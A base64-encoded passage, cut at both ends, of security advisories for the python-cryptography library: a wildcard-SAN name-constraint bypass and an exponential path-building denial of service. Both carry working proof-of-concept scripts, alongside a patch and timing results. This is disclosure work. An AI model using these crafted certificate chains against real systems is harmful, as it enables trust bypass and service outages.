cm9jZXNzLnRlcm1pbmF0ZSgpCiAgICAgICAgcHJvY2Vzcy5qb2luKCkKICAgICAgICBwcmludChmIntkdXBsaWNhdGVzfSx7bWF4X2RlcHRofSx0aW1lb3V0PntUSU1FT1VUfXMsIikKICAgICAgICByZXR1cm4KCiAgICByZXN1bHQsIGVsYXBzZWQgPSBxdWV1ZS5nZXQoKQogICAgcHJpbnQoZiJ7ZHVwbGljYXRlc30se21heF9kZXB0aH0se3Jlc3VsdH0se2VsYXBzZWQ6LjZmfSIpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgcHJpbnQoImR1cGxpY2F0ZXMsbWF4X2RlcHRoLHJlc3VsdCxzZWNvbmRzIikKICAgIGZvciBjYXNlIGluIFsoMSwgNyksICgyLCA3KSwgKDMsIDcpLCAoNCwgNyksICgzLCA4KSwgKDQsIDgpLCAoNSwgNyksICg2LCA2KV06CiAgICAgICAgcnVuX2Nhc2UoKmNhc2UpCmBgYAoKIyMjIyMgSW1wYWN0ClRoaXMgaXNzdWUgZXhwb3NlcyBhbiBhbXBsaWZpY2F0aW9uIHBhdGh3YXkgb3ZlciBkYXRhIHRoYXQgaW4gbWFueSBhcHBsaWNhdGlvbnMgbWF5IGJlIHVzZXItY29udHJvbGxlZCwgbGVhZGluZyB0byB0aGUgcG9zc2liaWxpdHkgb2YgYSBkZW5pYWwgb2Ygc2VydmljZSB0aHJvdWdoIHJlc291cmNlIGV4aGF1c3Rpb24uIEFzIHRoZSBjb3JyZWN0bmVzcyBvZiB2YWxpZGF0aW9uIGlzIG5vdCBhZmZlY3RlZCwgdGhlIGludGVncml0eSBvZiBhIHN5c3RlbSBjYW5ub3QgYmUgY29tcHJvbWlzZWQgdGhyb3VnaCB0aGlzIHZlY3Rvciwgb25seSBpdHMgYXZhaWxhYmlsaXR5LgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguNyAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjQuMC9BVjpOL0FDOkwvQVQ6Ti9QUjpOL1VJOk4vVkM6Ti9WSTpOL1ZBOkgvU0M6Ti9TSTpOL1NBOk5gCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3d10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3dykKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTQ5NjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE0OTYwKQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzRhMTJjZjQ5Njc1YTE4NGU0N2Y5MTJiMDBiMDRmM2E2MjkyODM1ODJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNGExMmNmNDk2NzVhMTg0ZTQ3ZjkxMmIwMGIwNGYzYTYyOTI4MzU4MikKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvR0hTQS1qd3YzLTVoZ2YtODJ3dykgYW5kIHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBweXRob24tY3J5cHRvZ3JhcGh5IHZlcmlmaWVyIGFjY2VwdHMgd2lsZGNhcmQgRE5TIG5hbWVzIGFsbG93aW5nIGVzY2FwZSBmcm9tIHBlcm1pdHRlZFN1YnRyZWVzCltDVkUtMjAyNi02OTI0OF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDgpIC8gW0dIU0EtbTJoNi1qNDcyLXJwNGNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGMpIC8gUFlTRUMtMjAyNi0zNTU0Cgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CklmIGFuIGludGVybWVkaWF0ZSBjb25zdHJhaW5lZCBDQSBwZXJtaXRzIHRoZSBETlMgbmFtZSBgZm9vLmV4YW1wbGUuY29tYCwgYW5kIHRoZSBsZWFmIGNlcnRpZmljYXRlIGhhcyBhIHdpbGRjYXJkIGluIGl0cyBETlMgU0FOIG9mIGAqLmV4YW1wbGUuY29tYCwgcHl0aG9uLWNyeXB0b2dyYXBoeSdzIHZlcmlmaWVyIGFjY2VwdHMgd2hpY2ggYWxsb3dzIGVzY2FwaW5nIG91dHNpZGUgb2YgdGhlIHBlcm1pdHRlZCBuYW1lcy4KCiMjIyMjIFBvQwoKYGBgCgojIS91c3IvYmluL2VudiBweXRob24zCiIiIlN0YW5kYWxvbmUgUG9DOiBweWNhJ3MgRE5TQ29uc3RyYWludDo6bWF0Y2hlcyBhZG1pdHMgYSB0b28tYnJvYWQgd2lsZGNhcmQgU0FOLgoKU2V0dXA6CiAgU3ViLUNBIHBlcm1pdHRlZCBjb25zdHJhaW50OiBkTlNOYW1lID0gZm9vLmV4YW1wbGUuY29tCiAgTGVhZiBTQU46ICAgICAgICAgICAgICAgICAgICBkTlNOYW1lID0gKi5leGFtcGxlLmNvbQpFeHBlY3RlZDogcmVqZWN0aW9uIChSRkMgNTI4MCDCpzQuMi4xLjEwICsgc3RhbmRhcmQgd2lsZGNhcmQgc2VtYW50aWNzKS4KT2JzZXJ2ZWQ6IHB5Y2EgYWNjZXB0czsgZnVydGhlciwgYXNrcyBzZXJ2ZXItdmVyaWZpZXIgd2hldGhlciB0aGUgbGVhZiBpcwphdXRob3JpdGF0aXZlIGZvciBgYmFyLmV4YW1wbGUuY29tYCBhbmQgcHljYSBhbnN3ZXJzIHllcyDigJQgYSBzdWItQ0Egc2NvcGUKZXNjYXBlLgoiIiIKaW1wb3J0IGRhdGV0aW1lCmZyb20gY3J5cHRvZ3JhcGh5IGltcG9ydCB4NTA5CmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkub2lkIGltcG9ydCBOYW1lT0lECmZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzIGltcG9ydCBoYXNoZXMKZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMuYXN5bW1ldHJpYyBpbXBvcnQgZWMKZnJvbSBjcnlwdG9ncmFwaHkueDUwOS52ZXJpZmljYXRpb24gaW1wb3J0ICgKICAgIFBvbGljeUJ1aWxkZXIsIFN0b3JlLCBFeHRlbnNpb25Qb2xpY3ksIENyaXRpY2FsaXR5LCBWZXJpZmljYXRpb25FcnJvciwKKQoKbm93ID0gZGF0ZXRpbWUuZGF0ZXRpbWUoMjAyNywgMSwgMSwgdHppbmZvPWRhdGV0aW1lLnRpbWV6b25lLnV0YykKZGF5ID0gZGF0ZXRpbWUudGltZWRlbHRhKGRheXM9MSkKCmRlZiBidWlsZChzdWJqZWN0LCBpc3N1ZXIsIGtleSwgaXNzdWVyX2tleSwgY2EsIGV4dHM9KCkpOgogICAgYiA9ICh4NTA5LkNlcnRpZmljYXRlQnVpbGRlcigpCiAgICAgICAgIC5zdWJqZWN0X25hbWUoc3ViamVjdCkuaXNzdWVyX25hbWUoaXNzdWVyKQogICAgICAgICAucHVibGljX2tleShrZXkucHVibGljX2tleSgpKQogICAgICAgICAuc2VyaWFsX251bWJlcih4NTA5LnJhbmRvbV9zZXJpYWxfbnVtYmVyKCkpCiAgICAgICAgIC5ub3RfdmFsaWRfYmVmb3JlKG5vdyAtIDMwICogZGF5KQogICAgICAgICAubm90X3ZhbGlkX2FmdGVyKG5vdyArIDM2NTAgKiBkYXkpCiAgICAgICAgIC5hZGRfZXh0ZW5zaW9uKHg1MDkuQmFzaWNDb25zdHJhaW50cyhjYT1jYSwgcGF0aF9sZW5ndGg9Tm9uZSksIGNyaXRpY2FsPVRydWUpKQogICAgZm9yIGUsIGMgaW4gZXh0czoKICAgICAgICBiID0gYi5hZGRfZXh0ZW5zaW9uKGUsIGMpCiAgICByZXR1cm4gYi5zaWduKGlzc3Vlcl9rZXksIGhhc2hlcy5TSEEyNTYoKSkKCiMjIyMjIFJvb3QKcmsgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKcm4gPSB4NTA5Lk5hbWUoW3g1MDkuTmFtZUF0dHJpYnV0ZShOYW1lT0lELkNPTU1PTl9OQU1FLCAiVGVzdCBSb290IildKQpyb290ID0gYnVpbGQocm4sIHJuLCByaywgcmssIFRydWUpCgojIyMjIyBTdWItQ0EgY29uc3RyYWluZWQgdG8gZm9vLmV4YW1wbGUuY29tCnNrID0gZWMuZ2VuZXJhdGVfcHJpdmF0ZV9rZXkoZWMuU0VDUDI1NlIxKCkpCnNuID0geDUwOS5OYW1lKFt4NTA5Lk5hbWVBdHRyaWJ1dGUoTmFtZU9JRC5DT01NT05fTkFNRSwgIlN1Yi1DQSIpXSkKbmMgPSB4NTA5Lk5hbWVDb25zdHJhaW50cygKICAgIHBlcm1pdHRlZF9zdWJ0cmVlcz1beDUwOS5ETlNOYW1lKCJmb28uZXhhbXBsZS5jb20iKV0sCiAgICBleGNsdWRlZF9zdWJ0cmVlcz1Ob25lLAopCnN1YiA9IGJ1aWxkKHNuLCBybiwgc2ssIHJrLCBUcnVlLCBbKG5jLCBUcnVlKV0pCgojIyMjIyBMZWFmIHdpdGggU0FOICouZXhhbXBsZS5jb20gKG92ZXItYnJvYWQgcmVsYXRpdmUgdG8gdGhlIGNvbnN0cmFpbnQpCmxrID0gZWMuZ2VuZXJhdGVfcHJpdmF0ZV9rZXkoZWMuU0VDUDI1NlIxKCkpCmxuID0geDUwOS5OYW1lKFt4NTA5Lk5hbWVBdHRyaWJ1dGUoTmFtZU9JRC5DT01NT05fTkFNRSwgIkxlYWYiKV0pCnNhbiA9IHg1MDkuU3ViamVjdEFsdGVybmF0aXZlTmFtZShbeDUwOS5ETlNOYW1lKCIqLmV4YW1wbGUuY29tIildKQpsZWFmID0gYnVpbGQobG4sIHNuLCBsaywgc2ssIEZhbHNlLCBbKHNhbiwgRmFsc2UpXSkKCiMjIyMjIFBvbGljaWVzCmNhX3BvbCA9IEV4dGVuc2lvblBvbGljeS5wZXJtaXRfYWxsKCkucmVxdWlyZV9wcmVzZW50KAogICAgeDUwOS5CYXNpY0NvbnN0cmFpbnRzLCBDcml0aWNhbGl0eS5BR05PU1RJQywgTm9uZSwKKQplZV9wb2wgPSBFeHRlbnNpb25Qb2xpY3kucGVybWl0X2FsbCgpLnJlcXVpcmVfcHJlc2VudCgKICAgIHg1MDkuU3ViamVjdEFsdGVybmF0aXZlTmFtZSwgQ3JpdGljYWxpdHkuQUdOT1NUSUMsIE5vbmUsCikKdiA9ICgKICAgIFBvbGljeUJ1aWxkZXIoKQogICAgLnN0b3JlKFN0b3JlKFtyb290XSkpCiAgICAudGltZShub3cpCiAgICAuZXh0ZW5zaW9uX3BvbGljaWVzKGNhX3BvbGljeT1jYV9wb2wsIGVlX3BvbGljeT1lZV9wb2wpCiAgICAuYnVpbGRfc2VydmVyX3ZlcmlmaWVyKHg1MDkuRE5TTmFtZSgiYmFyLmV4YW1wbGUuY29tIikpCikKdHJ5OgogICAgdi52ZXJpZnkobGVhZiwgW3N1Yl0pCiAgICBwcmludCgiQlVHOiBweWNhIHRydXN0ZWQgbGVhZiBhcyBiYXIuZXhhbXBsZS5jb20gdGhvdWdoIHN1Yi1DQSB3YXMgY29uc3RyYWluZWQgdG8gZm9vLmV4YW1wbGUuY29tIikKZXhjZXB0IFZlcmlmaWNhdGlvbkVycm9yIGFzIGU6CiAgICBwcmludChmIkVYUEVDVEVEOiBWZXJpZmljYXRpb25FcnJvcjoge2V9IikKYGBgCgojIyMjIyBJbXBhY3QKCkFjY2VwdGFuY2Ugb2YgaW52YWxpZCBjZXJ0aWZpY2F0ZSBjaGFpbi4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA2LjkgLyAxMCAoTWVkaXVtKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjQuMC9BVjpOL0FDOkwvQVQ6UC9QUjpOL1VJOk4vVkM6TC9WSTpIL1ZBOk4vU0M6Ti9TSTpOL1NBOk4vRTpQYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE0ODg4XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNDg4OCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC80ZDAzNWE0MjI1OTY1ZWRlZmZkMzEyMDc5YTUxMGVmMjVmY2ZkY2IyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzRkMDM1YTQyMjU5NjVlZGVmZmQzMTIwNzlhNTEwZWYyNWZjZmRjYjIpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IFtPU1ZdKGh0dHBzOi8vb3N2LmRldi92dWxuZXJhYmlsaXR5L0dIU0EtbTJoNi1qNDcyLXJwNGMpIGFuZCB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgcHl0aG9uLWNyeXB0b2dyYXBoeTogRHVwbGljYXRlIHNlbGYtc2lnbmVkIGludGVybWVkaWF0ZXMgY2FuIGNhdXNlIGV4cG9uZW50aWFsIHBhdGgtYnVpbGRpbmcKW0NWRS0yMDI2LTY5MjQ5XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0OSkgLyBbR0hTQS1qd3YzLTVoZ2YtODJ3d10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3dykgLyBQWVNFQy0yMDI2LTM1NTMKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKV2hlbiByZXNvbHZpbmcgaW52YWxpZCBjZXJ0aWZpY2F0ZSBjaGFpbnMgdGhhdCBpbmNsdWRlIGR1cGxpY2F0ZSBjb3BpZXMgb2Ygc2VsZi1zaWduZWQgY2VydGlmaWNhdGVzLCB0aGUgcHJvY2Vzc2luZyByZWN1cnNpdmVseSBpbnZva2VzIHRoZSBzYW1lIGNhbmRpZGF0ZSwgbGVhZGluZyB0byBhbiBleHBvbmVudGlhbCBibG93dXAuIEFsdGhvdWdoIHRoZSBsaW1pdGF0aW9uIHRoYXQgdGhlIGNoYWluIGRlcHRoIGNhbm5vdCBleGNlZWQgYSBzcGVjaWZpZWQgbWF4aW11bSBkZXB0aCBwcmV2ZW50cyB1bmJvdW5kZWQgcmVjdXJzaW9uIGFuZCBndWFyYW50ZWVzIHRlcm1pbmF0aW9uLCBhbiBhdHRhY2tlci1jb250cm9sbGVkIGNlcnRpZmljYXRlIGNoYWluIGNhbiBsZWFkIHRoZSBwcm9jZXNzaW5nIHRvIGVhc2lseSB0YWtlIG1vcmUgdGhhbiA1cyB0byByZWplY3QgaW4gdGVzdGluZy4gVGhpcyBhbXBsaWZpY2F0aW9uIGNvdWxkIGZvcm0gdGhlIGJhc2lzIGZvciBhIHJlc291cmNlIGV4aGF1c3Rpb24gZGVuaWFsIG9mIHNlcnZpY2UgYXR0YWNrLgoKVGhpcyB3b3JrIHdhcyBjb21wbGV0ZWQgYnkgVHJhaWwgb2YgQml0cyBhcyBwYXJ0IG9mIHRoZSBQYXRjaCBUaGUgUGxhbmV0IHByb2plY3QgaW4gY29sbGFib3JhdGlvbiB3aXRoIE9wZW5BSS4gVGhlIGZpbmRpbmcgd2FzIGlkZW50aWZpZWQgcHJpbWFyaWx5IGJ5IHRoZSBDb2RleCBjb2RpbmcgYWdlbnQsIGFuZCBtYW51YWxseSByZXZpZXdlZCBiZWZvcmUgc3VibWlzc2lvbi4gCgojIyMjIyBEZXRhaWxzClRoZSBjb3JlIGlzc3VlIGFyaXNlcyBpbiB0aGUgcmVjdXJzaXZlIG5hdHVyZSBvZiBgYnVpbGRfY2hhaW5faW5uZXJgLCB3aGljaCBkb2VzIG5vdCBkZS1kdXBsaWNhdGUgYWdhaW5zdCBwcmV2aW91c2x5IGFuYWx5emVkIGNhbmRpZGF0ZXMuCgpgYGBweXRob24KICAgIGZuIGJ1aWxkX2NoYWluX2lubmVyKAogICAgICAgICZzZWxmLAogICAgICAgIHdvcmtpbmdfY2VydDogJlZlcmlmaWNhdGlvbkNlcnRpZmljYXRlPCdjaGFpbiwgQj4sCiAgICAgICAgY3VycmVudF9kZXB0aDogdTgsCiAgICAgICAgd29ya2luZ19jZXJ0X2V4dGVuc2lvbnM6ICZFeHRlbnNpb25zPCdjaGFpbj4sCiAgICAgICAgbmFtZV9jaGFpbjogTmFtZUNoYWluPCdfLCAnY2hhaW4+LAogICAgICAgIGJ1ZGdldDogJm11dCBCdWRnZXQsCiAgICApIC0+IFZhbGlkYXRpb25SZXN1bHQ8J2NoYWluLCBDaGFpbjwnY2hhaW4sIEI+LCBCPiB7CiAgICAgICAgaWYgbGV0IFNvbWUobmMpID0gd29ya2luZ19jZXJ0X2V4dGVuc2lvbnMuZ2V0X2V4dGVuc2lvbigmTkFNRV9DT05TVFJBSU5UU19PSUQpIHsKICAgICAgICAgICAgbmFtZV9jaGFpbi5ldmFsdWF0ZV9jb25zdHJhaW50cygmbmMudmFsdWUoKT8sIGJ1ZGdldCk/OwogICAgICAgIH0KCiAgICAgICAgLy8gTG9vayBpbiB0aGUgc3RvcmUncyByb290IHNldCB0byBzZWUgaWYgdGhlIHdvcmtpbmcgY2VydCBpcyBsaXN0ZWQuCiAgICAgICAgLy8gSWYgaXQgaXMsIHdlJ3ZlIHJlYWNoZWQgdGhlIGVuZC4KICAgICAgICBpZiBzZWxmLnN0b3JlLmNvbnRhaW5zKHdvcmtpbmdfY2VydCkgewogICAgICAgICAgICByZXR1cm4gT2sodmVjIVt3b3JraW5nX2NlcnQuY2xvbmUoKV0pOwogICAgICAgIH0KCiAgICAgICAgLy8gQ2hlY2sgdGhhdCBvdXIgY3VycmVudCBkZXB0aCBkb2VzIG5vdCBleGNlZWQgb3VyIHBvbGljeS1jb25maWd1cmVkCiAgICAgICAgLy8gbWF4IGRlcHRoLiBXZSBkbyB0aGlzIGFmdGVyIHRoZSByb290IHNldCBjaGVjaywgc2luY2UgdGhlIGRlcHRoCiAgICAgICAgLy8gb25seSBtZWFzdXJlcyB0aGUgaW50ZXJtZWRpYXRlIGNoYWluJ3MgbGVuZ3RoLCBub3QgdGhlIHJvb3Qgb3IgbGVhZi4KICAgICAgICBpZiBjdXJyZW50X2RlcHRoID4gc2VsZi5wb2xpY3kubWF4X2NoYWluX2RlcHRoIHsKICAgICAgICAgICAgcmV0dXJuIEVycihWYWxpZGF0aW9uRXJyb3I6Om5ldyhWYWxpZGF0aW9uRXJyb3JLaW5kOjpPdGhlcigKICAgICAgICAgICAgICAgICJjaGFpbiBjb25zdHJ1Y3Rpb24gZXhjZWVkcyBtYXggZGVwdGgiLmludG8oKSwKICAgICAgICAgICAgKSkpOwogICAgICAgIH0KCiAgICAgICAgLy8gT3RoZXJ3aXNlLCB3ZSBjb2xsZWN0IGEgbGlzdCBvZiBwb3RlbnRpYWwgaXNzdWVycyBmb3IgdGhpcyBjZXJ0LAogICAgICAgIC8vIGFuZCBjb250aW51ZSB3aXRoIHRoZSBmaXJzdCB0aGF0IHZlcmlmaWVzLgogICAgICAgIGxldCBtdXQgbGFzdF9lcnI6IE9wdGlvbjxWYWxpZGF0aW9uRXJyb3I8J18sIEI+PiA9IE5vbmU7CiAgICAgICAgZm9yIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUgaW4gc2VsZi5wb3RlbnRpYWxfaXNzdWVycyh3b3JraW5nX2NlcnQpIHsKICAgICAgICAgICAgLy8gQSBjYW5kaWRhdGUgaXNzdWVyIGlzIHNhaWQgdG8gdmVyaWZ5IGlmIGl0IGJvdGgKICAgICAgICAgICAgLy8gc2lnbnMgZm9yIHRoZSB3b3JraW5nIGNlcnRpZmljYXRlIGFuZCBjb25mb3JtcyB0byB0aGUKICAgICAgICAgICAgLy8gcG9saWN5LgogICAgICAgICAgICBsZXQgaXNzdWVyX2V4dGVuc2lvbnMgPSBpc3N1aW5nX2NlcnRfY2FuZGlkYXRlLmNlcnRpZmljYXRlKCkuZXh0ZW5zaW9ucygpPzsKICAgICAgICAgICAgbWF0Y2ggc2VsZi5wb2xpY3kudmFsaWRfaXNzdWVyKAogICAgICAgICAgICAgICAgaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZSwKICAgICAgICAgICAgICAgIHdvcmtpbmdfY2VydCwKICAgICAgICAgICAgICAgIGN1cnJlbnRfZGVwdGgsCiAgICAgICAgICAgICAgICAmaXNzdWVyX2V4dGVuc2lvbnMsCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgT2soXykgPT4gewogICAgICAgICAgICAgICAgICAgIG1hdGNoIHNlbGYuYnVpbGRfY2hhaW5faW5uZXIoCmBgYAoKQSBzdWZmaWNpZW50IHBhdGNoIGlzIHRvIHRyYWNrIHZhbGlkIGlzc3VlcnMsIGFuZCB0byBza2lwIHNlZW4gb25lcyBiZWZvcmUgcmVjdXJzaW5nLiBCeSB0cmFja2luZyB2YWxpZCBpc3N1ZXJzIG9ubHksIHZhbGlkYXRpb24gYW5kIGN1c3RvbSBleHRlbnNpb24tcG9saWN5IGNhbGxiYWNrcyBzdGlsbCBydW4uCgpgYGBydXN0CiAgICAgICAgICBsZXQgbXV0IHNlZW5fdmFsaWRfaXNzdWVycyA9IFZlYzo6PCZWZXJpZmljYXRpb25DZXJ0aWZpY2F0ZTwnY2hhaW4sIEI+Pjo6bmV3KCk7CiAgICAgICAgICBmb3IgaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZSBpbiBzZWxmLnBvdGVudGlhbF9pc3N1ZXJzKHdvcmtpbmdfY2VydCkgewogICAgICAgICAgLiAuIC4KICAgICAgICAgICAgICAgICAgT2soXykgPT4gewogICAgICAgICAgICAgICAgICAgICAgaWYgc2Vlbl92YWxpZF9pc3N1ZXJzLmNvbnRhaW5zKCZpc3N1aW5nX2NlcnRfY2FuZGlkYXRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgIHNlZW5fdmFsaWRfaXNzdWVycy5wdXNoKGlzc3VpbmdfY2VydF9jYW5kaWRhdGUpOwogCiAgICAgICAgICAgICAgICAgICAgICBtYXRjaCBzZWxmLmJ1aWxkX2NoYWluX2lubmVyKAogICAgICAgICAgICAgICAgICAgICAgICAgIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gTk9URSh3dyk6IEFjY29yZGluZyB0byBSRkMgNTI4MCwgd2Ugc2hvdWxkIG9ubHkKYGBgCgpJbiB0ZXN0aW5nLCB0aGlzIGZpeCByZW1vdmVkIHRoZSBleHBvbmVudGlhbCBibG93dXAgd2l0aG91dCBicmVha2luZyBhcHBhcmVudCBjb3JyZWN0bmVzcy4gCgpgYGAKZHVwbGljYXRlcyxtYXhfZGVwdGgscmVzdWx0LHNlY29uZHMKMSw3LHJlamVjdGVkLDAuMDAwNDY0IC0+IDEsNyxyZWplY3RlZCwwLjAwMDY2NwoyLDcscmVqZWN0ZWQsMC4wMjUxNTQgLT4gMiw3LHJlamVjdGVkLDAuMDAxMjI5CjMsNyxyZWplY3RlZCwwLjQ4OTkyNCAtPiAzLDcscmVqZWN0ZWQsMC4wMDE2MTkgCjQsNyxyZWplY3RlZCw0LjMwOTQwMyAtPiA0LDcscmVqZWN0ZWQsMC4wMDIxNDQKMyw4LHJlamVjdGVkLDEuNDY4MTkzIC0+IDMsOCxyZWplY3RlZCwwLjAwMTgxMQo0LDgsdGltZW91dD41cywgICAgICAgLT4gNCw4LHJlamVjdGVkLDAuMDAyNDEwCjUsNyx0aW1lb3V0PjVzLCAgICAgICAtPiA1LDcscmVqZWN0ZWQsMC4wMDI2NDAKNiw2LHRpbWVvdXQ+NXMsICAgICAgIC0+IDYsNixyZWplY3RlZCwwLjAwMjgyOQpgYGAKCiMjIyMjIFBvQwpUaGUgZm9sbG93aW5nIHNjcmlwdCBiZW5jaG1hcmtzIHByb2Nlc3NpbmcgdGltZXMgZm9yIG1hbGljaW91cyBjZXJ0IGNoYWlucy4KCmBgYHB5dGhvbgppbXBvcnQgZGF0ZXRpbWUKaW1wb3J0IG11bHRpcHJvY2Vzc2luZwppbXBvcnQgdGltZQoKaW1wb3J0IGNyeXB0b2dyYXBoeQpmcm9tIGNyeXB0b2dyYXBoeSBpbXBvcnQgeDUwOQpmcm9tIGNyeXB0b2dyYXBoeS5oYXptYXQucHJpbWl0aXZlcyBpbXBvcnQgaGFzaGVzCmZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzLmFzeW1tZXRyaWMgaW1wb3J0IGVjCmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkub2lkIGltcG9ydCBFeHRlbmRlZEtleVVzYWdlT0lELCBOYW1lT0lECmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkudmVyaWZpY2F0aW9uIGltcG9ydCAoCiAgICBETlNOYW1lLAogICAgUG9saWN5QnVpbGRlciwKICAgIFN0b3JlLAogICAgVmVyaWZpY2F0aW9uRXJyb3IsCikKCk5PVyA9IGRhdGV0aW1lLmRhdGV0aW1lKDIwMjQsIDEsIDEsIHR6aW5mbz1kYXRldGltZS50aW1lem9uZS51dGMpClRJTUVPVVQgPSA1CkNBX0tFWV9VU0FHRSA9IHg1MDkuS2V5VXNhZ2UoCiAgICBkaWdpdGFsX3NpZ25hdHVyZT1UcnVlLAogICAgY29udGVudF9jb21taXRtZW50PUZhbHNlLAogICAga2V5X2VuY2lwaGVybWVudD1GYWxzZSwKICAgIGRhdGFfZW5jaXBoZXJtZW50PUZhbHNlLAogICAga2V5X2FncmVlbWVudD1GYWxzZSwKICAgIGtleV9jZXJ0X3NpZ249VHJ1ZSwKICAgIGNybF9zaWduPVRydWUsCiAgICBlbmNpcGhlcl9vbmx5PUZhbHNlLAogICAgZGVjaXBoZXJfb25seT1GYWxzZSwKKQpFRV9LRVlfVVNBR0UgPSB4NTA5LktleVVzYWdlKAogICAgZGlnaXRhbF9zaWduYXR1cmU9VHJ1ZSwKICAgIGNvbnRlbnRfY29tbWl0bWVudD1GYWxzZSwKICAgIGtleV9lbmNpcGhlcm1lbnQ9RmFsc2UsCiAgICBkYXRhX2VuY2lwaGVybWVudD1GYWxzZSwKICAgIGtleV9hZ3JlZW1lbnQ9RmFsc2UsCiAgICBrZXlfY2VydF9zaWduPUZhbHNlLAogICAgY3JsX3NpZ249RmFsc2UsCiAgICBlbmNpcGhlcl9vbmx5PUZhbHNlLAogICAgZGVjaXBoZXJfb25seT1GYWxzZSwKKQoKZGVmIG5hbWUoY29tbW9uX25hbWUpOgogICAgcmV